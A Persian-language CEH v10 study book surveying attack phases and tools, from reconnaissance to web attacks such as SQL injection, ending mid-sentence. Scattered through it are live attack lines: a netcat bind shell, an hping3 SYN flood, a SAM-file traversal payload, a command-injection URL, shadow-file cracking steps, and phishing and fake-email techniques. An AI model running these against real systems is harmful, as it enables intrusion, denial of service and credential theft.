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 مقدمه

 EC Councilبر طبق سرفصل های ارئه شده در کتاب مرجع   +CEH.v10کتاب      

 نوشته شده است اما هدف از نوشتن آن انتقال دانش و آشنایی مخاطبین با علم کاربردی

CEH زارهای منسوخ شده که تنها توهمی از هکر می باشد و نه استفاده از روش ها و اب

 بودن را به افراد منتقل می کند.

شد و هدف با یات اینجانب در قالب هر سرفصل میانتقال تجرب  +CEH.v10 کتاب    

می باشد زیرا متاسفانه امروزه متخصصانی با وجود مفاهیم  اصلی آشنایی مخاطب با 

نقش یک  ن ندارند و به همین علت در شناختی از ماهیت آ ،Attackتوانایی انجام 

همانطور بالعکس در نقش از ایجاد  حمله جلوگیری کنند و  متخصص شبکه نمی توانند

 به وجود آورد . غییراتی را به عنوان یک هکر در نوع حمله ی خودنمی تواند تهکر 

باشد در زمان حال قابل اجرا می در این کتاب شما با روش هایی آشنا می شوید که     

گذرانده اند  CEH افرادی که دورهنمی باشد و بعکس  برای  بنابراین مناسب افراد مبتدی

و همچنین افراد حرفه ای نیز مناسب نمی باشد زیرا تخصص لازم در این زمینه را کسب 

 کرده اند.

پس از  CEH اگر شما فردی علاقمند به ارتقای دانش پیش از کلاس ، مرور دوره     

یادگیری یک تجربه در قالب متخصص حرفه ای هستید خواندن این کتاب را  کلاس و یا

 به شما پیشنهاد میکنم.

در پایان لازم می دانم از تمامی دوستانی که مرا در نوشتن این کتاب یاری نمودند کمال 

تشکر را داشته باشم همچنین از خواننده محترم تقاضا دارم در صورت مشاهده ایرادات 

 و یا فنی ، از طریق ایمیل به اینجانب اطلاع دهد. اعم از تایپ
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 فصل اول

Essential Terminology 
 

Threat دیدته 

Doxing جمع آوری اطلاعات از طریق شبکه 

Type of Evolution مشخص بودن تارگت و روش اتک 

Who is Hacker?  افرادی که قدرت ذهنشون بتواند بر قدرت ماشین

 غلبه کند

Reconnaissance  شناسایی 

Gaining Access گرفتن دسترسی 

Maintaining Access حفظ دسترسی 

Clearing Track پاک کردن رد پا 

miss configuration پیکربندی نامناسب 

Information Gathering جمع آوری اطلاعات 

Attack حمله 

Hack رخنه 

Port درگاه 

scope محدوده 
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Enumeration سرشماری 

Fake جعلی 

Config پیکربندی 

Privilege Escalation افزایش سطح دسترسی 

Steganography مخفی سازی 

Process فرآیند 

Fragmentation  قطعه قطعه نمودن 

Packet بسته 

Evading گریز 

 

وسسه فناوری مدر  7301با رشد تکنولوژی و مباحث علوم رایانه ای در سال     

ظهور کرد که آشنایی  به عنوان یک هویت جدید و مسقل  (hack)ماساچوست رخنه 

 فاده از آن می باشد .کامل با فنون این علم نوظهور مستلزم است

با تسلط کافی در کدنویسی و نرم افزارهای مربوطه  (hackers)از این رو  رخنه گرها     

می توانند به هر سیستم امنیتی کامپپوتری نفوذ پیدا کنند و موجب تغییراتی در آن 

شوند. حال ممکن است برای ما این سوال مطرح شود که هکرها برای انجام چه اعمالی 

 در ادامه به بررسی این موارد می پردازیم . ش می کنند؟تلا

 جمع آوری اطلاعات 

o IP 

o Email Admin 

o Location 

 اسکن 

o Live System 

o Port Scan 
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 گرفتن دسترسی 

 حفظ دسترسی 

 پاک کردن رد پا 

 

 انواع حمله روی یک سیستم

 حملات سیستم عامل 

 حملات سطح نرم افزار 

 پیکربندی نامناسب 

 Shrink-wrap code attacks. 
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دومفصل   
Footprinting 

 

قیق و کامل در دقبل از هرچیز نیازمند اطلاعاتی  (footprinting)در مبحث ردیابی     

ارتباط با هدف مورد نظر می باشیم که این مقوله تنها با استفاده از ابزارهایی که در ذیل 

 به آن اشاره کردیم میسر می شود.

و اطلاعات  IP( شبکه ی قربانی را بواسطه رنج scopeدر ابتدا می بایست محدوده )    

بدست  دیگر از قبیل شماره تماس، آدرس وایمیل ادمین را با استفاده از پیوندهای ذیل

 آورد.

 

Whois 

 Ripe.net 

 Arin.net 

 Afrinic.net 

 Apnic.net 

 Lacnic.net 
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عمل شود بدین  یرزبایستی طبق دستور  DNSبرای دریافت اطلاعات بیشتراز طریق      

تنظیم و سپس  اطلاعات  … ,ns, mxمانند  DNSصورت که هر کدام از رکوردهای 

 مربوطه پس از پردازش  حاصل می شود.

 

 

 

 

 

DNSEnumeration 

nslookup 

set type=ns 

site.com 
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 مقصد مشخص می گردد. IPدر بخش بعد با استفاده از ابزار زیر تعداد روترها تا 

Geo Location 

 NeoTrace 

 Visual Route 

 

 

 

افراد سازمان را جمع آوری نمود که شبکه های اجتماعی در این  اطلاعات حال باید    

 زمینه کمک شایانی به عموم می نماید.

در واقع با اطلاعات افراد میتوان به زیر ساخت شبکه قربانی پی برد که بعنوان مثال     

مسئله مذکور از چه نوع تکنولوژی هایی استفاده میکند و یا اینکه افراد سازمان آسیب 

 یری دارند یا خیر، برای عمق فهم مطلب دو تارنمای پر کاربرد معرفی میگردد.پذ

People Search 

 Linked in 

 411.com 
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صورت  اطلاعاتی را تبادل می کنند بدین در نهایت در بخش پایانی کارمندان نادانسته    

 سال می شود. یمیل تقلبی از طرف همان سازمان ارکه برای فریب دادن کارمند ا

 در ذیل به آدرس دو وبگاه جهت ارسال ایمیل جعلی اشاره شده است.    

 

Email 

 Emkei.cz 

 Getnotify.com 
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 سومفصل 

Scanning 
 

 انواع اسکن

 اسکن شبکه: جهت تشخیص سیستم های زنده 

 اسکن پورت: جهت تشخیص پورت های باز 

 

 نکته:

را بسته ( Echo) 8( و Reply) 1تنها دو نوع  ICMPدر پروتکل  pingبرای بستن     

 .می شود

 

 و سوییچ های مربوط به اسکن شبکه: nmapاسکن توسط 

  اسکن شبکه–sn 

  برایarp  اسکن–PR 

  گرفتن خروجی–oA 
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 و سوییچ های مربوط به اسکن پورت: nmapاسکن توسط 

 توضیحات نوع اسکن سوییچ

-St TCP Scan اسکن TCP 

-Ss SynScan  اسکنSyn  لاییبا سرعت با 

-Sn NullScan  هیچ فلگیset نمیشود 

-sX XmasScan  

-sA AckScan برای شناسایی فایروال 

 Bannerشناسایی 

  تشخیص ورژن سوییچ–sV در nmap  

  استفاده از سایت آنلاینnetcraft 

  شناسایی نسخه سیستم عامل از رویTTL  

o  ویندوزTTL = 128 

o لینوکس  TTL = 64 

o  روترTTL = 255 
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 نکته:

، جهت شناسایی آن از ورودی Bannerو جعلی بودن  TTLدر صورت دستکاری شدن     

 نامعتبر استفاده می گردد. 

، می بایست Routerاز برای تشخیص سیستم عامل لینوکس  SSHبعنوان مثال در     

سرریز ( دریافت میشود که تعداد بالای آن باعث رخ دادن X41ورودی به شکل هگز )

(Overflow ) شود.می 
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 چهارمفصل 

Enumeration 
 

 در فصل جاری اطلاعات جزیی تری استخراج می گردد به طور مثال   

 ( کاربرانUsers) 

 ( گروه هاGroups ) 

 ( نرم افزارSoftware ) 

 ( سیاست رمز عبورPassword Policy ) 

 ( اشتراک گذاشته هاShared) 

 

 ات مربوطه:پروتکل های پرکاربرد جهت دستیابی به اطلاع

  440پورت SMB)) 

  707پورت  (SNMP) 

  983پورت  (LDAP) 

  709پورت (NTP) 
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 ابزارهایی برای بهره وری از پورت ها

 توضیحات ابزار پورت

SMB / 445 PsExe PsExe \\IP command 

SNMP / 161 Snmpcheck Snmpcheck –t IP –c public 

باشد می  clear textبه صورت  snmpورژن یک و دو 

 که اطلاعات زیادی به واسطه آن میتوان بدست آورد

LDAP / 389 JXplorer   از منویFile  گزینهConnect انتخاب شود 

  در قسمتLevel  نام کاربری و رمز عبور

 وارد شود (domain)حوزه 

  در قسمتHost  بایستیDC IP وارد گردد 

  در قسمتBaseDn  به صورت ذیل عمل

 شود.

Dc = test, dc = local 
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 پنجمفصل 

Vulnerability Analysis 
 

سرور، اپلیکیشن و... برخی  جهت دسترسی به آسیب پذیری های شبکه، وبسایت، وب    

به صورت خودکار این عمل را انجام  ،(configپس از پیکربندی ) ،ابزارهای خاص منظوره

 و نتایج را نشان می دهد.

% آسیب پذیری ها توسط نرم افزارها قابل 01شود که  البته باید به این نکته توجه     

کشف است و برای یافتن آسیب پذیری های دیگر نیاز به دانش فنی بالا و تست به صورت 

می باشد. در ذیل ابزارهای مورد استفاده برای اسکن آسیب پذیری  manual)دستی)

 معرفی شده اند.

Nessus 

Acunetix 

OpenVas 

GFI Languard 

Nexpose 

BurpSuite 
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 ششمفصل 

System Hacking 
 

 روش های کرک پسورد

 Passive Online Attack  مانند :Sniff شبکه 

 Active Online Attack مانند کیلاگر یا بدافزار : 

 Offline Attack  شکستن رمز :Hash شده 
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 انواع حمله های غیرالکترونیکی

 Shoulder Surfing یپ رمز عبور است باید به : زمانی که قربانی در حال تا

 دستانش نگاه کرد.

 Social Engineering مهندسی اجتماعی : 

 Doomster Diving جمع نمودن داده های باطل در صورت نیاز : 

 

 

 

 

 

 :تکنیک های عملی پسورد

 Dictionary Attack 

 Brut Force 

 Rule-Base 

خل شبکه در و دا SAMدر فایل  (Local)محلی داخل شبکه در پسوردهای ویندوز     

 NTLMپسوردهای مایکروسافت  Hashingمکانیزم ، ذخیره میشود  ntds.ditفایل 

 .کاراکتری است 1میباشد که به صورت دو بلاک 

 :مثال

  123456x:xxxxxxx 709400پسورد 
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 :نکته

هویت شوند  احرازبه طور صحیح به کاربرانی که    (domain)دامیندر شبکه های     

ها  که به آن  شندداده میشود که به تمام منابع دسترسی داشته با (ticket) تیکتیک 

 .میگویند ((Golden ticketتیکت ادمین 

استفاده میکنند و لیست نام کاربری ها  SHA  +Saltپسوردهای لینوکس از الگوریتم     

 .ذخیره میشود shadowو رمز عبور در فایل  passwdدر فایل 

 ردابزار مورد استفاده برای کرک پسو

 Cain  &Abel 

 fgdump  dump SAM 

 John 

 ابزار مورد استفاده برای لینوکس

 unshdow /etc/passwd /etc/shadow > output.txt 

o john output.txt 

 pwdump 
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 L0pht crack 

 DNA 

  برای کرک الگوریتم روش مورد استفادهMD4+salt 

 

 

 

 ((Privilege Escalation سطح دسترسیافزایش 

را از سیستم قربانی گرفته است اما نیاز   دسترسی (Hackers)گر در مواقعی رخنه     

دارد سطح دسترسی خود را به دسترسی مدیر سیستم ارتقا دهد برای این منظور بنا به 

 شبکه مورد نظر از روش های عنوان شده استفاده می نماییم.
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 :(Local)محلی  در شبکه ی

 konboot 

 

 :در شبکه ریموت

  استفاده ازvbs بکدور ت قرار دادنجه 

  کدهای مخرب استفاده از (exploits) موجود و مربوط به ورژن سیستم عامل 

 executing application)اجرای برنامه )

در مواقعی لازم است به قربانی فایلی تحویل داده شود  که از طریق اجرای فایل،     

ت محرمانه برای دسترسی از سیستم قربانی گرفته شود البته از طریق ارسال اطلاعا

 شخص نیز می توان به این مقوله دست یاید.

 در ذیل به تفصیل موارد اشاره شده می پردازیم.

  از ابزارtcpview  میشود بهره بردهترافیک شبکه  مشاهدهبرای. 
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  کیلاگرardamax  دلار 03باارزش 

o در سیستم نرم افزار نصب ( رخنه گرattacker) 

o  راست کلیک و انتخاب گزینهremote installation 

o بایند (Bind)  نرم افزار 

o  تیک گزینه برداشتنcheck update  

o تنظیم گزینه ی ارسال 

 

  فایل نمودنمخفی ) (Steganography  

o stools مخفی کردن فایل در فایل جهت 

o  اگر هر دوسیستمntfs  بود دستور زیر را درCMD .وارد می کنیم 

 Notepad file1.txt:main! 
 خوهد شد.ر حجم فایل صف 
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 (Clearing Track )رد پا از بین بردن

رخنه گر)هکر( پس از اتمام عملیات نفوذ و بازپس گرفتن دسترسی، برای مخفی     

ماندن بایستی ردپای خود را پاک کند تا قابل شناسایی نباشد. )تسلط بر این موضوع 

 نیازمند به یادگیری مباحث جرم شناسی می باشد(

ابتدای  کار موارد امنیتی را رعایت کند تا حدودی مخفی سازی البته اگر  هکر از     

 مورد انتظار را انجام داده است که برای تایید این موضوع ابزارهایی معرفی شده است.

 VPN  SSTP 
 Tor 
 I2P 
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 هفتمفصل 

Malware Threat 
درک این فصل مستلزم دانستن تعابیر مختلف بدافزارها و همچنین عملکرد آن ها در     

هر کدی که با هدف تخریب و یا ایجاد دسترسی نوشته یستم می باشد به طور کلی س

البته بدافزارها انواع مختلفی دارند که هر کدام از آن ها دارای  شود بدافزار می باشد

 صفات و ویژگی های منحصربه فرد می باشند که در ادامه به آنها اشاره خواهیم نمود.

 (Backdoor) بکدور

عی بدافزار می باشند که جهت دسترسی مخفیانه به سیستم از آن ها بکدورها نو    

 استفاده می شود.

 برای درک نحوه ی عملکرد بکدورها مثالی در ذیل آورده شده است:     

را بر روی سیستم قربانی باز میکند و سپس  یپورت ncدر خط اول هکر  توسط ابزار     

 می کند.سیستم قربانی متصل  cmdآن )پورت مذبور( را به 

در خط دوم هکر از سیستم خود با همان ابزار مذکور به سیستم قربانی متصل میشود     

 و دستورات خود را وارد می نماید.

 nc -l -p 4444 -e cmd 

 nc IP 4444 
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  (Binder) بایندر

در برخی مواقع هکر در صدد آن است که فایل مخرب خود را با نرم افزاری که قربانی     

 ت، ترکیب کند بطوریکه کاربر متوجه این موضوع نشود .به آن نیازمند اس

کردن فایل مخرب با فایل اصلی نشان داده شده (BIND) بایند  ابزاری جهتدر ذیل 

 است.

 yab 

 

 

 

 

 

 روش مقابله با بد افزار

سیستم کنترل  (Process)برا ی مقابله با فایل های مخرب بایستی تمامی فرآیندهای     

 زارهایی معرفی شده است:شود که برای این منظور اب

 process monitoring 

 tasklist /m در ویندوز 

 tcpview 

 netstat -nob 
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 (tools) ابزار

امنیتی به منظور جلوگیری از ورود فایل مخرب در   (Guard)جهت استفاده از محافظت 

 سیستم ، سه ابزار زیر معرفی میشود.

 what’s running 

 malware byte 

 rkill 
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 هشتمفصل 

Sniffing 

گیرد و به دو  شنود شبکه به منظور دستیابی اطلاعات کاربران و شبکه انجام می    

 صورت فعال و  غیرفعال انجام می پذیرد .

در حالت غیرفعال برای ارتباط سیستم ها از هاب )وسیله ای که چندین رایانه را در     

که تمام بسته  استفاده میشود و از آن جایییک شبکه محلی به یکدیگر متصل می کند( 

( ارسال می شوند، کافی Broad Castها به صورت پیش فرض با تکنیک پخش همگانی )

 استفاده کنیم. Wiresharkاست در سیستم خود از نرم افزار 

رای حالت شنود شبکه به صورت فعال چون از سوییچ ) وسیله ای که چندین رایانه را ب    

می کند( برای ارتباط کاربران استفاده شده  به یکدیگر متصل LANبا استفاده از ارتباط 

برای گرفتن دسترسی سیستم های دیگر استفاده می  MiTM (attack)است از حمله 

  شود که از این طریق می توان کاربر خاصی ) یا تمام کاربران(را در شبکه قربانی کرد.

 در ذیل به صورت نموداری به موارد ذکر شده اشاره شده است:

 passive 

o Hub 

 Broad Cast 
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 active 
o switch 

 uni-cast 
 Mac flooding 

  شماره سریال داخل کارت شبکه (mac) 

در  over flow سرریز تولید میشود و جعلی

mac table آید. به وجود می 

  ابزارmacof 

 Arp spoofing  یاArp Poisoning 

  ابزارettercap  ,arpspoof 

  حملهنوع(attack) MITM 
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 روش مقابله

 مقابله باحمله ی فعال، موارد زیر توصیه میشود.برای 

 IPSec 

 Port Security 

 DAI (Dynamic Arp Inception )پایگاه داده ای (data base) از مک و IP 

 داخل شبکه

 Static Arp Inception 
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 نهمفصل 

Social Engineering 
 

د و با مهندسی اجتماعی یکی از مهمترین و خطرناکترین حملات از جانب هکر میباش    

توجه به توانایی و تجربه ی هکر احتمال نفوذ به سیستم قربانی بالا می باشد، تکنیک 

 تقسیم میشود :  Computerو  Humanمهندسی اجتماعی به دو صورت 

 Human Base 

 Computer Base 

 

اگر قربانی مبتدی و فاقد آموزش های لازم باشد امکان لو رفتن رمز  Human Baseدر     

ن نیز وجود دارد ، در این روش هکر به طور مستقیم از طریق گفتگو با قربانی عبور سازما

وارد عمل میشود که میزان موفقیت او بستگی به فن بیانی دارد که در مقابل قربانی  مورد 

 استفاده قرار می دهد.

هکر با استفاده از ابزارهای کامپیوتری به صورت   Computer Baseدر حالت     

 عات مورد نیاز را از قربانی می گیرد.غیرمستقیم اطلا

 مراحل استانداری که هکر بایستی رعایت کند تا اهداف مورد نظر حاصل شود :

 Research on Target Company 

 موقعیت جغرافیایی سازمان 

 ساعت تعطیل شدن پرسنل 

 وسیله ی رفت و آمد پرسنل 

 آشغال جمع کردن 

 Select Victim 

 انتخاب شخص تکنیکال و فنی 

 آسیب پذیری آقایان بیشتر از خانم ها است 
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 Develop Relationship 

 مهمترین مهارت ارتباط برقرار کردن است 

 Exploit the relationship 

 فقط سر وقت باید انجام شود 

 

 مراحل مهندسی اجتماعی از طریق کامپیوتر:

حمله  پرکاربردترین حمله  که به واسطه ی  تکنیک مهندسی اجتماعی انجام می شود    

فیشینگ است که در این نوع حمله، هکر به طراحی سایتی مشابه سایت مورد استفاده 

قربانی را با تکنیک مذکور به سمت صفحه جعلی  ،قربانی می پردازد و پس از طراحی

 هدایت میکند تا به اطلاعات حساس قربانی دسترسی پیدا کند.

مورد  71م تکنیک فرمول در ذیل یک نمونه از تکنیک های حمله فیشینگ به نا    

 بررسی قرار می گیرد:

 

 01استفاده از تکنیک فرمول 

را به یک عدد پیوسته تبدیل  IP Addressمی توان  71با استفاده از تکنیک فرمول     

. وارد شود email@site.comمرورگر،   Address Barنمود و با توجه به اینکه اگر در 

را  URL Codeمرورگر توانایی اجرای چون و  کندبررسی می  @اطلاعات بعد از  مرورگر

  .استفاده شود 40%معادل آن میتوان پس  دارد

 URLو پس از آن با استفاده از  مورد بررسی قرار میگیرد 71در ابتدا تکنیک فرمول     

Code  میشودحمله ی فیشینگ را اجرا. 

، اعمال 71به عدد بر مبنای تکنیک فرمول  IP Addressبه طور مثال برای تبدیل     

 زیر را انجام میشود

 IP: 66.46.55.116 
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 00(*000^9+)40(*000^0+)00*000+770=7771900718 

 Ping 1110325108 

 %40 == @ 

 https://hojat.net%401110325108 

 .و تکنیک مربوطه سناریو فیشینگ را طراحی کند IPهکر میتواند با استفاده از یک     

 

میشود درصورتیکه وارد  hojat.netدر سناریو فوق، قربانی گمان میکند وارد سایت     

 میشود. IP: 66.46.55.16سایت دیگری با 

 روش مقابله با مهندسی اجتماعی:

 آموزش افراد 

 تقسیم وظایف 

 Back Ground Check 
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 دهمفصل 

DoS 
 

داختن سیستم قربانی باشد که برای از کار ان یکی از حملات پرکاربرد می DoSحمله     

 استفاده میشود 

شایان ذکر است که این نوع حملات در شبکه های داخلی همچنان مورد استفاده قرار     

استفاده  DDoSمیگیرد اما برای سازمانهای بزرگتر و بیزینس های قوی تر از حمله 

حداقل یک میلیون سیستم هک شده به قربانی حمله می  DDoSدر حمله ی  که میشود.

 د.کن

 :DoSانواع حمله 

 حمله به پهنای باند 

 حمله به برنامه 

 حمله به سرویس یا پرتوکول 

 

 :DoS مورد استفاده برای حملهابزارهای 

 Hping3 

o Hping3 –c 1000 –d 120 –S –w 64 –p 21 –flood –random-

source Target IP 

 UDP flood 

 Crazy ping 

 UDP Unicorn 
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 روش مقابله:

 IPS 
 

 :DDoSا روش مقابله ب

 IPS : Cisco 

 DDoS Protection : Fortiddos 

 CDN 
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 یازدهمفصل 

Session Hijacking 
 

می گیرد و قصد اتصال به سیستم مرکزی  قرار Lanی  در برخی مواقع هکر در شبکه    

هکر  در سیستم مرکزی و سیستم مدیر شبکه،سبب نیافتن آسیب پذیری  هرا دارد اما ب

 ( مدیر شبکه را سرقت کند.Session)جاری کانال ارتباطی نیاز دارد 

بااستفاده ابزارهایی که در ذیل به آن اشاره شده است هکر به این صورت عمل می کند     

مدیر شبکه را به سرقت   Sessionمدیر شبکه را بدست می آورد و پس از آن  IPکه ابتدا 

 سرقتی به سیستم مرکزی متصل می شود. Sessionمی برد و با 

 انواع:

 Passive 

 Active 

 

 :Activeمورد استفاده برای حالت  ابزار

 T-Sight 

 Ethercap 

 

 

 

 

 

www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net

https://www.Hojat.net


به دیگر کلاینت ها را  Sessionبا استفاده از دو ابزار ذکر شده میتوان  Lanدر شبکه های 

 بدست آوردراحتی 

 

 

 روش مقابله با این حمله:

DAI یا Dynamic ARP Inspection 
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 دوازدهمفصل 

Evading IDS, Firewall, Honey pots 
 

از روش های مختلفی  ،وذ هکرشناسایی ، امنیت و جلوگیری از نف در سازمان ها برای    

در سیستم، همچنین در برخی مواقع  Firewall, IDPSاستفاده می شود مانند نصب  

جهت به دام انداختن هکر، سیستم آسیب پذیری طراحی می شود که نظر هکر را به خود 

گفته   Honey Potر هکر را مانیتور میکند. که اصطلاحا به این روش جلب می کند و رفتا

 میشود.

 

 انواع مکانیزم های امنیتی:

 سخت افزار 

 نرم افزار 

 Snort 

 Suricate 
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 نکته:

IDSفقط شناسایی ترافیک بد : 

IPSشناسایی و جلوگیری از ترافیک بد : 

یافت تمام ترافیک برای در PortMirrorیا   Span، باید  IDSزمان استفاده از     

 در لایه دو شبکه است( (IPS تنظیم شود.

 :IPSانواع 

 NIPS برای شبکه 

 HIPS برای هاست 

 شیوه ی کار:

 Signature 

 Anomaly 

 نیاز است: HIPSچرا به 

 Encrypt 

 Internal Attack 

 Signature 

 Log File Monitoring 

 

 :IDPSکردن  ByPassجهت 

  استفاده ازFragmentation قطعه نمودن بسته ها  یا قطعه(packets) 

  درnmap   استفاده از سوییچ–f  

  استفاده ازObfuscation 

 Encryption 

 شده را انجام نمیشوددر ترافیک انکریپ  زیرا آنالیزی. 
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 نکته:

عبور  449قابلیت تونلینگ دارد و میتوان ترافیک پورت های دیگر را از روی  449پورت 

 دارد.

 

 :HoneyPot ستفاده برای طراحی ابزارهای مورد ا

  = ویندوزیkfsensor 

  = لینوکسیhoneyd 
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 سیزدهم و چهاردهمفصل 
Web Server & Web Application Hack 

 

  File Inclusionحمله

در کدهای برنامه  includeآسیب پذیری فوق به دلیل استفاده از توابع سیستمی مانند     

 Localکه به دو صورت  نامه نویس رخ می دهدنویسی و عدم کنترل ورودی آن توسط بر

اتفاق میافتد و هکر میتواند از هر کدام بیشترین استفاده را برای گرفتن   Remoteیا 

 دسترسی سرور بهره مند شود.

هکر توانایی فراخوانی فایل غیرمجاز را دارد که در سیستم عامل های  Localدر حالت     

که رمز عبور سیستم در آن ذخیره  SAMفایل   (backup)تواند پشتیبان ویندوزی می

که  passwd , shadowشده است و در سیستم عامل های لینوکسی میتواند فایل های 

همچنین در  نام کاربری و رمز عبور سیستم عامل در آن وجود دارد را مشاهده کند و

ی فایل هکر قصد دارد باتوجه به تکنولوژی استفاده شده در سیستم قربان Remoteحالت 

 مخربی را بر روی سیستم قربانی از روی سیستم خود اجرا کند.

 Hojat.net/..\..\..\..\windows\repair\sam 

o  بکاپ فایلSAM 
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  XSSحمله

جزو خطرناکترین آسیب پذیری های تحت وب می باشد که  XSSآسیب پذیری     

و هدف اصلی در  را از سیستم قربانی گرفت Session, Cookie, Shellمیتوان توسط آن 

این نوع آسیب پذیری، سیستم قربانی است که از وبسایت آسیب پذیر بازدید میکند. 

 آسیب پذیری به سه نوع زیر تقسیم میشود

Reflect  در این نوع، میبایست وبسایت آسیب پذیر به همراه کد مخرب به

 قربانی داده شود 
Store انی به صورت عادی در این نوع، کد در وبسایت تزرق میشود و قرب

 سایت را بازدید میکند و میتوان برای ساخت بات نت استفاده کرد
Dom Base  در این نوع که شباهت به نوع اول دارد با این تفاوت که آسیب

 مرورگر اجرا میشود. Domپذیری به وسیله 

 نیاز به دانش جاوااسکریپت دارد که در زیر منبعی برای آن مجموع XSSآسیب پذیری 

 کدهای مخرب معرفی شده است

 Reference = Owasp XSS Cheat sheet 
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 Command Injectionحمله 

و عدم کنترل ورودی  Systemآسیب پذیری بدلیل استفاده از توابع سیستمی مانند     

توسط برنامه نویس رخ میدهد که هکر میتواند مستقیم دستورات سطح سیستمی را وارد 

را به کاربر  Pingاز کاربر، آدرس سایت میگیرد و نتیجه  کند. به طور مثال وبسایتی

نمایش میدهد، در این لحظه هکر می تواند با استفاده از دانش سیستم عاملی، دو ورودی 

 بین دو دستور وارد کند. ;به وسیله سمی کالن 

 http://127.0.0.1/id=2; ls /root 

  که کد هگز  10%از  ;برای بایپسEnter ی شود.است استفاده م 
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 Broken Authenticationحمله 

 PWDو  Userدر بعضی مواقع سیستم قربانی دارای پنل مدیریت است که میتوان     

وارد کرد. اگر تعداد دفعات اشتباه کاربر کنترل نشود آسیب پذیری فوق رخ میدهد و هکر 

 بزند. dictionary attackیا    broutforceهب میتواند برای شسکتن رمز عبور اقدام 

 استفاده از ابزار برای شکستن رمز عبور 

o Medsa 

o Hydra 

o BurpSuite 

 

 Broken Access Control حمله

دربعضی مواقع بدلیل عدم کنترل سطح دسترسی صحیح پوشه و فایل ها توسط برنامه     

نویس و مدیر سیستم، آسیب پذیری فوق رخ میدهد به عنوان مثال اگر صفحه به پنل 

وارد کردن رمز عبور از باشد و کاربر بعد  www.hojat.net/adminمدیریت وبسایت 

هدایت شود و در مقابل اگر آسیب پذیری  www.hojat.net/manageصحیح به صفحه ی 

 manageز عبور، تنها با دانستن آدرس فوق وجود داشته باشد هکر بدون وارد کردن رم

 .شته باشددسترسی کامل از وبسایت دامیتواند 
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 در زیر معرفی میشود. ی مختلفابزارهایی برای تست کردن آسیب پذیری ها

 Acunetix 

 IBM Appscan 

 HP web inspect 

 

 کردن آسیب پذیری دارد (exploit)اکسپلویت هکر پس از کشف آسیب پذیری نیاز به     

اکسپلویت از قبل طراحی شده وجود  (framework) های برای این موضوع فریم ورککه 

 دارد که در زیر به آن اشاره شده است

 Core impact 

 Canvas 

 Metasploit 
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 همپانزدفصل 

SQLi 
 

از معروف ترین و خطرناکترین نوع آسیب پذیری ها بوده که هکر  SQLiآسیب پذیری     

میتواند به پایگاه داده نفوذ کند و در بهترین شرایط میتواند  توسط آن، در بدترین شرایط

 .از سرور دسترسی کامل بگیرد

به طور مثال هکر از   در ابتدا مفهوم آسیب پذیری از نگاه یک هکر بررسی میشود    

ه می کند بازدید میکند و محتویاتی که مشاهد www.hojat.netبخش خبری سایت 

مانند بقیه بازدید کنندگان شامل مواردی مانند آدرس سایت، تاریخ خبر، عنوان خبر، 

شماره خبر، عکس خبر، خلاصه ی خبر، متن کامل خبر، نویسنده ی خبر می باشد اما 

هکر از نگاه یک برنامه نویس، صفحه ی خبری وبسایت را تحلیل میکند و تحلیلی که از 

 رد زیر است:وبسایت دارد شامل موا

 .با توجه به پسوند فایل متوجه تکنولوژی برنامه نویسی سایت می شود 

  با تغیر دادن عدد در آدرس سایت و مشاهده تغیرخبر سایت، متوجه میشود

 اخبار از داخل دیتابیس فراخوانی میشود

  با توجه به زبان برنامه نویسی می تواند دیتابیس مورد استفاده شده در سایت را

 زندحدس ب

  با توجه به محتویات صفحه ی خبر میتواند حدس بزند که جدول استفاده شده

 برای اخبار شامل چه ستون هایی میباشد.

 .در نهایت تصویری که هکر از صفحه ی خبری میبیند به شکل زیر میباشد 
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 SQLiانواع 

 Union Base 

 Error Base 

 Boolean Base 

 Time Base 

و  SQLهکر با استفاده از دانش کوئری نویسی  Union Baseاز نوع   SQLiدر حملات     

خود  SQL، در وبسایتی که آسیب پذیری مربوطه را دارد کوئری Unionشناخت دستور 

را به دیتابیس تزریق میکند در زیریک مثال برای مفهوم آن آورده شده است که درخط 

د و اخبار را نمایش میدهد اول برنامه نویس شماره خبر را به عنوان ورودی دریافت میکن

و کوئری خود از  Unionولی بدلیل عدم کنترل ورودی، هکر با استفاده از دستور 

دیتابیس میخواهد لیست نام کاربری و رمز عبورها را نمایش دهد. که پس از اجرای 

دستور، وبسایت همراه با نمایش خبر، لیست نام کاربری و رمز عبورها را نمایش میدهد و 

 MySQLدیتابیس 

 سرور لینوکس

 جدول اخبار

 وبسایت

 جدول کلمات عبور
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 Union Baseاصطلاحا  SQLiبه این نوع از  Unionن بدلیل استفاده از کلمه همچنی

 گفته میشود

 

می باشد که هکر با خطاهایی که توسط وبسایت  ErrorBaseاز نوع  SQLiحالت دوم     

هکر  Andبرگردانده میشود اطلاعات خود را دریافت میکند با استفاده از کلمه ی کلیدی 

و پایگاه داده را مجبور میکند که خطا را به عنوان خروجی کوئری خود را وارد میکند 

تحویل دهد و با توجه به خطاهایی که تولید میکند اطلاعات خود را دریافت کند، به طور 

